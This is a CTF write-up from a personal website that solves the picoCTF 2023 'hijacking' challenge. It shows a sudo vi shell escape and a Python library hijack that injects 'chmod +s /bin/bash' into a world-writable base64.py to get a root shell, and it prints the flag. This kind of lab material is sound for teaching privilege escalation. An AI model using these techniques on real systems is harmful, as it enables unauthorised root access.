siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

hijacking

Overview

Background

Author: Theoneste Byagutangaza

Description

Getting root access can allow you to read the flag. Luckily there is a python file that you might like to play with. Through Social engineering, we’ve got the credentials to use on the server. SSH is running on the server.

saturn.picoctf.net 52563
Username: picoctf
Password: JZOjvisd1W

Find the flag

In this challenge, we can SSH into the instance machine:

┌[siunam♥earth]-(~/ctf/picoCTF-2023/Binary-Exploitation/babygame01)-[2023.03.17|17:55:28(HKT)]
└> ssh -p 52563 picoctf@saturn.picoctf.net
picoctf@saturn.picoctf.net's password: 
[...]
picoctf@challenge:~$ whoami;hostname;id
picoctf
challenge
uid=1000(picoctf) gid=1000(picoctf) groups=1000(picoctf)

First, let’s check our sudo permission:

picoctf@challenge:~$ sudo -l
Matching Defaults entries for picoctf on challenge:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User picoctf may run the following commands on challenge:
    (ALL) /usr/bin/vi
    (root) NOPASSWD: /usr/bin/python3 /home/picoctf/.server.py

In here, we can run /usr/bin/vi as root but require our user’s password.

Then, we can also run /usr/bin/python3 /home/picoctf/.server.py as root without password.

Note: There are 2 ways to escalate to root privilege.

Unintended solution

According to GTFOBins, we can spawn a shell via:

picoctf@challenge:~$ sudo /usr/bin/vi -c ':!/bin/sh' /dev/null
[sudo] password for picoctf: 

# id
uid=0(root) gid=0(root) groups=0(root)

Boom! I’m root!

Let’s cat the flag!

# ls -lah /root
total 12K
drwx------ 1 root root   23 Mar 16 02:08 .
drwxr-xr-x 1 root root   51 Mar 17 10:06 ..
-rw-r--r-- 1 root root 3.1K Dec  5  2019 .bashrc
-rw-r--r-- 1 root root   43 Mar 16 02:08 .flag.txt
-rw-r--r-- 1 root root  161 Dec  5  2019 .profile
# cat /root/.flag.txt
picoCTF{pYth0nn_libraryH!j@CK!n9_f56dbed6}

Intended solution

Now, let’s look at the home directory!

picoctf@challenge:~$ ls -lah
total 24K
drwxr-xr-x 1 picoctf picoctf   80 Mar 17 09:55 .
drwxr-xr-x 1 root    root      21 Mar 16 02:08 ..
-rw------- 1 picoctf picoctf  468 Mar 17 09:55 .bash_history
-rw-r--r-- 1 picoctf picoctf  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 picoctf picoctf 3.7K Feb 25  2020 .bashrc
drwx------ 2 picoctf picoctf   34 Mar 17 09:51 .cache
-rw-r--r-- 1 picoctf picoctf  807 Feb 25  2020 .profile
-rw------- 1 picoctf picoctf    0 Mar 17 09:53 .python_history
-rw-r--r-- 1 root    root     375 Mar 16 01:30 .server.py
-rw------- 1 picoctf picoctf  817 Mar 17 09:53 .viminfo

In here, we see there’s a Python script file called .server.py:

import base64
import os
import socket
ip = 'picoctf.org'
response = os.system("ping -c 1 " + ip)
#saving ping details to a variable
host_info = socket.gethostbyaddr(ip) 
#getting IP from a domaine
host_info_to_str = str(host_info[2])
host_info = base64.b64encode(host_info_to_str.encode('ascii'))
print("Hello, this is a part of information gathering",'Host: ', host_info)

It just pinging picoctf.org, and base64 encode the host. Nothing weird.

According to this challenge’s title, it’s called “hijacking”, which let me think this is about “Python library hijacking”.

Now, what if we hijack the base64 library? :D

Note: You can read this Medium post for more information.

Let’s find where does the base64 lives:

picoctf@challenge:~$ locate base64.py
-bash: locate: command not found

Hmm… Nevermind, we can still find it in /usr/lib/python<version>/:

picoctf@challenge:~$ ls -lah /usr/lib/python3.8/
[...]
-rwxrwxrwx 1 root root  20K Nov 14 12:59 base64.py
[...]

As you can see, the base64.py library is at /usr/lib/python3.8/!

However, look at the file permission closely:

-rwxrwxrwx

In the last three permissions, we see rwx, which means it’s world-readable, writeable, and executable!!

That being said, we can hijack it by modifiying that library!!!

Then, let’s check our sudo permission:

picoctf@challenge:~$ sudo -l
Matching Defaults entries for picoctf on challenge:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User picoctf may run the following commands on challenge:
    (ALL) /usr/bin/vi
    (root) NOPASSWD: /usr/bin/python3 /home/picoctf/.server.py

We can execute /usr/bin/python3 /home/picoctf/.server.py as root without our user’s password!

Now, let’s modify the base64.py library.

Since the .server.py script is using function b64encode(), we can modify that function:

picoctf@challenge:~$ vi /usr/lib/python3.8/base64.py

Original:

def b64encode(s, altchars=None):
    """Encode the bytes-like object s using Base64 and return a bytes object.

    Optional altchars should be a byte string of length 2 which specifies an
    alternative alphabet for the '+' and '/' characters.  This allows an
    application to e.g. generate url or filesystem safe Base64 strings.
    """
    encoded = binascii.b2a_base64(s, newline=False)
    if altchars is not None:
        assert len(altchars) == 2, repr(altchars)
        return encoded.translate(bytes.maketrans(b'+/', altchars))
    return encoded

Modified:

def b64encode(s, altchars=None):
    """Encode the bytes-like object s using Base64 and return a bytes object.

    Optional altchars should be a byte string of length 2 which specifies an
    alternative alphabet for the '+' and '/' characters.  This allows an
    application to e.g. generate url or filesystem safe Base64 strings.
    """
    import os
    os.system('chmod +s /bin/bash')
    
    encoded = binascii.b2a_base64(s, newline=False)
    if altchars is not None:
        assert len(altchars) == 2, repr(altchars)
        return encoded.translate(bytes.maketrans(b'+/', altchars))
    return encoded

In here, we’re importing the os library, so that we can use function system() to run OS command.

The payload is chmod +s /bin/bash, which adds SUID sticky bit to /bin/bash, so that we can spawn a root Bash shell.

Let’s run that!

picoctf@challenge:~$ sudo /usr/bin/python3 /home/picoctf/.server.py
sh: 1: ping: not found
Traceback (most recent call last):
  File "/home/picoctf/.server.py", line 7, in <module>
    host_info = socket.gethostbyaddr(ip) 
socket.gaierror: [Errno -5] No address associated with hostname

Hmm… “No address associated with hostname”?

No clue why we have this error.

Anyway, we can still trigger the payload.

In Python, when we importing a library, it’ll run the code once.

That being said, we can add our payload in the top of the base64.py library:

# Modified 04-Oct-1995 by Jack Jansen to use binascii module
# Modified 30-Dec-2003 by Barry Warsaw to add full RFC 3548 support
# Modified 22-May-2007 by Guido van Rossum to use bytes everywhere

import re
import struct
import binascii

import os
os.system('chmod +s /bin/bash')

Let’s run it again!

picoctf@challenge:~$ sudo /usr/bin/python3 /home/picoctf/.server.py
sh: 1: ping: not found
Traceback (most recent call last):
  File "/home/picoctf/.server.py", line 7, in <module>
    host_info = socket.gethostbyaddr(ip) 
socket.gaierror: [Errno -5] No address associated with hostname

Although it still outputs an error, our payload should ran:

picoctf@challenge:~$ ls -lah /bin/bash
-rwsr-sr-x 1 root root 1.2M Apr 18  2022 /bin/bash

Nice! Let’s spawn a root Bash shell:

picoctf@challenge:~$ /bin/bash -p
bash-5.0# whoami;hostname;id
root
challenge
uid=1000(picoctf) gid=1000(picoctf) euid=0(root) egid=0(root) groups=0(root),1000(picoctf)
bash-5.0# cat /root/.flag.txt 
picoCTF{pYth0nn_libraryH!j@CK!n9_f56dbed6}

I’m root! :D

Conclusion

What we’ve learned:

  1. Vertical Privilege Escalation Via Python Library Hijacking